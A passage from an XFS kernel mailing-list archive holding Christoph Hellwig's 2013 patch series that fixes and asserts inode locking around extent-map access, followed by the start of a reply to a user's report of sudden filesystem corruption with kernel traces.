14:39:01.967589998 +0100 +++ xfs/fs/xfs/xfs_qm.c 2013-12-05 12:32:36.623617997 +0100 @@ -1193,16 +1193,18 @@ xfs_qm_dqiterate( lblkno = 0; maxlblkcnt = XFS_B_TO_FSB(mp, mp->m_super->s_maxbytes); do { + uint lock_mode; + nmaps = XFS_DQITER_MAP_SIZE; /* * We aren't changing the inode itself. Just changing * some of its data. No new blocks are added here, and * the inode is never added to the transaction. */ - xfs_ilock(qip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_map_shared(qip); error = xfs_bmapi_read(qip, lblkno, maxlblkcnt - lblkno, map, &nmaps, 0); - xfs_iunlock(qip, XFS_ILOCK_SHARED); + xfs_iunlock_map_shared(qip, lock_mode); if (error) break; From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 09:59:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 12B287F57 for ; Thu, 5 Dec 2013 09:59:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id F328F8F8050 for ; Thu, 5 Dec 2013 07:59:52 -0800 (PST) X-ASG-Debug-ID: 1386259191-04cb6c537d53f1e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id wTRwU9WCcmBGolvC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 07:59:51 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VobLD-0004wI-EV for xfs@oss.sgi.com; Thu, 05 Dec 2013 15:59:51 +0000 Message-Id: <20131205155951.330689967@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 05 Dec 2013 07:58:32 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp References: <20131205155830.620826868@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp Content-Disposition: inline; filename=xfs-quota-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386259191 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_dquot.c =================================================================== --- xfs.orig/fs/xfs/xfs_dquot.c 2013-11-18 14:39:01.955589999 +0100 +++ xfs/fs/xfs/xfs_dquot.c 2013-12-05 11:42:34.759679600 +0100 @@ -469,16 +469,17 @@ xfs_qm_dqtobp( struct xfs_mount *mp = dqp->q_mount; xfs_dqid_t id = be32_to_cpu(dqp->q_core.d_id); struct xfs_trans *tp = (tpp ? *tpp : NULL); + uint lock_mode; dqp->q_fileoffset = (xfs_fileoff_t)id / mp->m_quotainfo->qi_dqperchunk; - xfs_ilock(quotip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_map_shared(quotip); if (!xfs_this_quota_on(dqp->q_mount, dqp->dq_flags)) { /* * Return if this type of quotas is turned off while we * didn't have the quota inode lock. */ - xfs_iunlock(quotip, XFS_ILOCK_SHARED); + xfs_iunlock_map_shared(quotip, lock_mode); return ESRCH; } @@ -488,7 +489,7 @@ xfs_qm_dqtobp( error = xfs_bmapi_read(quotip, dqp->q_fileoffset, XFS_DQUOT_CLUSTER_SIZE_FSB, &map, &nmaps, 0); - xfs_iunlock(quotip, XFS_ILOCK_SHARED); + xfs_iunlock_map_shared(quotip, lock_mode); if (error) return error; From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 09:59:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 29BD27F58 for ; Thu, 5 Dec 2013 09:59:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id BB22BAC007 for ; Thu, 5 Dec 2013 07:59:52 -0800 (PST) X-ASG-Debug-ID: 1386259192-04bdf01321418a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id Pypl1H1rALcvI6xC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 07:59:52 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VobLD-0004xz-Vo for xfs@oss.sgi.com; Thu, 05 Dec 2013 15:59:52 +0000 Message-Id: <20131205155951.874279041@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 05 Dec 2013 07:58:35 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access References: <20131205155830.620826868@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access Content-Disposition: inline; filename=iread_extents-assert X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386259192 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Make sure that xfs_bmapi_read has the ilock held in some way, and that xfs_bmapi_write, xfs_bmapi_delay and xfs_iread_extents are called with the ilock held exclusively. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.c 2013-11-29 14:25:12.172459195 +0100 +++ xfs/fs/xfs/xfs_bmap.c 2013-12-05 10:03:28.243801633 +0100 @@ -3997,6 +3997,7 @@ xfs_bmapi_read( ASSERT(*nmap >= 1); ASSERT(!(flags & ~(XFS_BMAPI_ATTRFORK|XFS_BMAPI_ENTIRE| XFS_BMAPI_IGSTATE))); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -4191,6 +4192,7 @@ xfs_bmapi_delay( ASSERT(*nmap >= 1); ASSERT(*nmap <= XFS_BMAP_MAX_NMAP); ASSERT(!(flags & ~XFS_BMAPI_ENTIRE)); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, XFS_DATA_FORK) != XFS_DINODE_FMT_EXTENTS && @@ -4484,6 +4486,7 @@ xfs_bmapi_write( ASSERT(tp != NULL); ASSERT(len > 0); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && Index: xfs/fs/xfs/xfs_inode_fork.c =================================================================== --- xfs.orig/fs/xfs/xfs_inode_fork.c 2013-12-05 09:57:24.347809100 +0100 +++ xfs/fs/xfs/xfs_inode_fork.c 2013-12-05 09:59:04.767807039 +0100 @@ -431,6 +431,8 @@ xfs_iread_extents( xfs_ifork_t *ifp; xfs_extnum_t nextents; + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, ip->i_mount); From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 09:59:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 490357F5A for ; Thu, 5 Dec 2013 09:59:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 358468F8050 for ; Thu, 5 Dec 2013 07:59:53 -0800 (PST) X-ASG-Debug-ID: 1386259191-04cbb0416754e8c0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id R5rHhew8nL5N2Gyt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 07:59:52 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VobLD-0004xQ-QA for xfs@oss.sgi.com; Thu, 05 Dec 2013 15:59:51 +0000 Message-Id: <20131205155951.679310054@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 05 Dec 2013 07:58:34 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get References: <20131205155830.620826868@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get Content-Disposition: inline; filename=xfs-fix-attr-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386259192 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index b861270..5343034 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -164,6 +164,7 @@ xfs_attr_get( { int error; struct xfs_name xname; + uint lock_mode; XFS_STATS_INC(xs_attr_get); @@ -174,9 +175,9 @@ xfs_attr_get( if (error) return error; - xfs_ilock(ip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_map_shared(ip); error = xfs_attr_get_int(ip, &xname, value, valuelenp, flags); - xfs_iunlock(ip, XFS_ILOCK_SHARED); + xfs_iunlock_map_shared(ip, lock_mode); return(error); } From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 09:59:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 41A027F59 for ; Thu, 5 Dec 2013 09:59:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C2733AC009 for ; Thu, 5 Dec 2013 07:59:52 -0800 (PST) X-ASG-Debug-ID: 1386259191-04cbb0416854e8c0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id omfudqpiV9Du75PZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 07:59:51 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VobLD-0004v5-4V for xfs@oss.sgi.com; Thu, 05 Dec 2013 15:59:51 +0000 Message-Id: <20131205155830.620826868@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 05 Dec 2013 07:58:30 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 0/5] extent list locking fixes X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-ASG-Orig-Subj: [PATCH 0/5] extent list locking fixes X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386259191 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- As discussed in the getdents locking thread I think we should assert the we have the right locking for reading in the extent list and the xfs_bmap_* operations. This series contains a patch to add those asserts (the last one), as well a the fallout it detected. This is in addition to the getdents patch from Ben. From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 09:59:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 055397F56 for ; Thu, 5 Dec 2013 09:59:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9624BAC005 for ; Thu, 5 Dec 2013 07:59:52 -0800 (PST) X-ASG-Debug-ID: 1386259191-04bdf0131b41890001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id DsjVPPmW7CyZD8C4 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 07:59:51 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VobLD-0004vj-9Y for xfs@oss.sgi.com; Thu, 05 Dec 2013 15:59:51 +0000 Message-Id: <20131205155951.199565525@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Thu, 05 Dec 2013 07:58:31 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 1/5] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes References: <20131205155830.620826868@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 1/5] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Content-Disposition: inline; filename=xfs_zero_remaining_bytes-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386259191 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142863 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap_util.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-05 11:37:57.791685284 +0100 +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-05 11:39:43.599683113 +0100 @@ -1147,6 +1147,7 @@ xfs_zero_remaining_bytes( xfs_mount_t *mp = ip->i_mount; int nimap; int error = 0; + uint lock_mode; /* * Avoid doing I/O beyond eof - it's not necessary @@ -1159,11 +1160,15 @@ xfs_zero_remaining_bytes( if (endoff > XFS_ISIZE(ip)) endoff = XFS_ISIZE(ip); + lock_mode = xfs_ilock_map_shared(ip); + bp = xfs_buf_get_uncached(XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp, BTOBB(mp->m_sb.sb_blocksize), 0); - if (!bp) - return XFS_ERROR(ENOMEM); + if (!bp) { + error = XFS_ERROR(ENOMEM); + goto out_unlock; + } xfs_buf_unlock(bp); @@ -1209,6 +1214,8 @@ xfs_zero_remaining_bytes( } } xfs_buf_free(bp); +out_unlock: + xfs_iunlock_map_shared(ip, lock_mode); return error; } From bpm@sgi.com Thu Dec 5 11:41:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 844C97F56 for ; Thu, 5 Dec 2013 11:41:02 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 651D18F804B; Thu, 5 Dec 2013 09:40:59 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 12F8C4266DC; Thu, 5 Dec 2013 11:40:59 -0600 (CST) Date: Thu, 5 Dec 2013 11:40:59 -0600 From: Ben Myers To: Mike Dacre Cc: xfs@oss.sgi.com Subject: Re: Sudden File System Corruption Message-ID: <20131205174058.GF1935@sgi.com> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) Hi Mike, On Wed, Dec 04, 2013 at 06:55:05PM -0800, Mike Dacre wrote: > Apologies if this is the wrong place to post or if this has been answered > already. > > I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. It has an XFS > filesystem and has been online for over a year. It is accessed by 23 > different machines connected via Infiniband over NFS v3. I haven't had any > major problems yet, one drive failed but it was easily replaced. > > However, today the drive suddenly stopped responding and started returning > IO errors when any requests were made. This happened while it was being > accessed by 5 different users, one was doing a very large rm operation (rm > *sh on thousands on files in a directory). Also, about 30 minutes before > we had connected the globus connect endpoint to allow easy file transfers > to SDSC. > > I rebooted the machine which hosts it and checked the RAID6 logs, no > physical problems with the drives at all. I tried to mount and got the > following error: > > XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1510 of file > fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 > mount: Structure needs cleaning > > I ran xfs_check and got the following message: > ERROR: The filesystem has valuable metadata changes in a log which needs to > be replayed. Mount the filesystem to replay the log, and unmount it before > re-running xfs_check. If you are unable to mount the filesystem, then use > the xfs_repair -L option to destroy the log and attempt a repair. > Note that destroying the log may cause corruption -- please attempt a mount > of the filesystem before doing this. > > > I checked the log and found the following message: > > Dec 4 18:26:33 fruster kernel: XFS (sda1): Mounting Filesystem > Dec 4 18:26:33 fruster kernel: XFS (sda1): Starting recovery (logdev: > internal) > Dec 4 18:26:36 fruster kernel: XFS: Internal error XFS_WANT_CORRUPTED_GOTO > at line 1510 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 > Dec 4 18:26:36 fruster kernel: > Dec 4 18:26:36 fruster kernel: Pid: 5491, comm: mount Not tainted > 2.6.32-358.23.2.el6.x86_64 #1 > Dec 4 18:26:36 fruster kernel: Call Trace: > Dec 4 18:26:36 fruster kernel: [] ? > xfs_error_report+0x3f/0x50 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xfs_free_extent+0x101/0x130 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xfs_free_ag_extent+0x58b/0x750 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xfs_free_extent+0x101/0x130 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xlog_recover_process_efi+0x1bd/0x200 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xfs_trans_ail_cursor_set+0x1a/0x30 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xlog_recover_process_efis+0x62/0xc0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xlog_recover_finish+0x24/0xd0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xfs_log_mount_finish+0x2c/0x30 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xfs_mountfs+0x421/0x6a0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xfs_fs_fill_super+0x224/0x2e0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > get_sb_bdev+0x18e/0x1d0 > Dec 4 18:26:36 fruster kernel: [] ? > xfs_fs_fill_super+0x0/0x2e0 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > xfs_fs_get_sb+0x18/0x20 [xfs] > Dec 4 18:26:36 fruster kernel: [] ? > vfs_kern_mount+0x7b/0x1b0 > Dec 4 18:26:36 fruster kernel: [] ? > do_kern_mount+0x52/0x130 > Dec 4 18:26:36 fruster kernel: [] ? do_mount+0x2d2/0x8d0 > Dec 4 18:26:36 fruster kernel: [] ? sys_mount+0x90/0xe0 > Dec 4 18:26:36 fruster kernel: [] ? > system_call_fastpath+0x16/0x1b > Dec 4 18:26:36 fruster kernel: XFS (sda1): Failed to recover EFIs > Dec 4 18:26:36 fruster kernel: XFS (sda1): log mount finish failed > > > I went back and looked at the log from around the time the drive died and > found this message: > Dec 4 17:58:16 fruster kernel: XFS: Internal error XFS_WANT_CORRUPTED_GOTO > at line 1510 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 > Dec 4 17:58:16 fruster kernel: > Dec 4 17:58:16 fruster kernel: Pid: 4548, comm: nfsd Not tainted > 2.6.32-358.23.2.el6.x86_64 #1 > Dec 4 17:58:16 fruster kernel: Call Trace: > Dec 4 17:58:16 fruster kernel: [] ? > xfs_error_report+0x3f/0x50 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > xfs_free_extent+0x101/0x130 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > xfs_free_ag_extent+0x58b/0x750 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > xfs_free_extent+0x101/0x130 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > xfs_bmap_finish+0x15d/0x1a0 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > xfs_itruncate_finish+0x15f/0x320 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > xfs_inactive+0x330/0x480 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > _xfs_trans_commit+0x214/0x2a0 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > xfs_fs_clear_inode+0xa0/0xd0 [xfs] > Dec 4 17:58:16 fruster kernel: [] ? > clear_inode+0xac/0x140 > Dec 4 17:58:16 fruster kernel: [] ? > generic_delete_inode+0x196/0x1d0 > Dec 4 17:58:16 fruster kernel: [] ? > generic_drop_inode+0x65/0x80 > Dec 4 17:58:16 fruster kernel: [] ? iput+0x62/0x70 > Dec 4 17:58:16 fruster kernel: [] ? > dentry_iput+0x90/0x100 > Dec 4 17:58:16 fruster kernel: [] ? d_delete+0xe8/0xf0 > Dec 4 17:58:16 fruster kernel: [] ? vfs_unlink+0xd9/0xf0 > Dec 4 17:58:16 fruster kernel: [] ? > nfsd_unlink+0x1af/0x250 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? > nfsd3_proc_remove+0x83/0x120 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? > nfsd_dispatch+0xfe/0x240 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? > svc_process_common+0x344/0x640 [sunrpc] > Dec 4 17:58:16 fruster kernel: [] ? > default_wake_function+0x0/0x20 > Dec 4 17:58:16 fruster kernel: [] ? > svc_process+0x110/0x160 [sunrpc] > Dec 4 17:58:16 fruster kernel: [] ? nfsd+0xc2/0x160 > [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? nfsd+0x0/0x160 [nfsd] > Dec 4 17:58:16 fruster kernel: [] ? kthread+0x96/0xa0 > Dec 4 17:58:16 fruster kernel: [] ? child_rip+0xa/0x20 > Dec 4 17:58:16 fruster kernel: [] ? kthread+0x0/0xa0 > Dec 4 17:58:16 fruster kernel: [] ? child_rip+0x0/0x20 > Dec 4 17:58:16 fruster kernel: XFS (sda1): xfs_do_force_shutdown(0x8) > called from line 3863 of file fs/xfs/xfs_bmap.c. Return address = > 0xffffffffa043c8d6 > Dec 4 17:58:16 fruster kernel: XFS (sda1): Corruption of in-memory data > detected. Shutting down filesystem > Dec 4 17:58:16 fruster kernel: XFS (sda1): Please umount the filesystem > and rectify the problem(s) > Dec 4 17:58:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 17:58:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 17:59:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 17:59:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:00:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:00:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:01:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:01:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_do_force_shutdown(0x1) > called from line 1061 of file fs/xfs/linux-2.6/xfs_buf.c. Return address = > 0xffffffffa04856e3 > Dec 4 18:02:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. > > > I have attached the complete log from the time it died until now. > > In the end, I successfully repaired the filesystem with `xfs_repair -L > /dev/sda1`. However, I am nervous that some files may have been corrupted. > > Do any of you have any idea what could have caused this problem? 1456 STATIC int /* error */ 1457 xfs_free_ag_extent( 1458 xfs_trans_t *tp, /* transaction pointer */ 1459 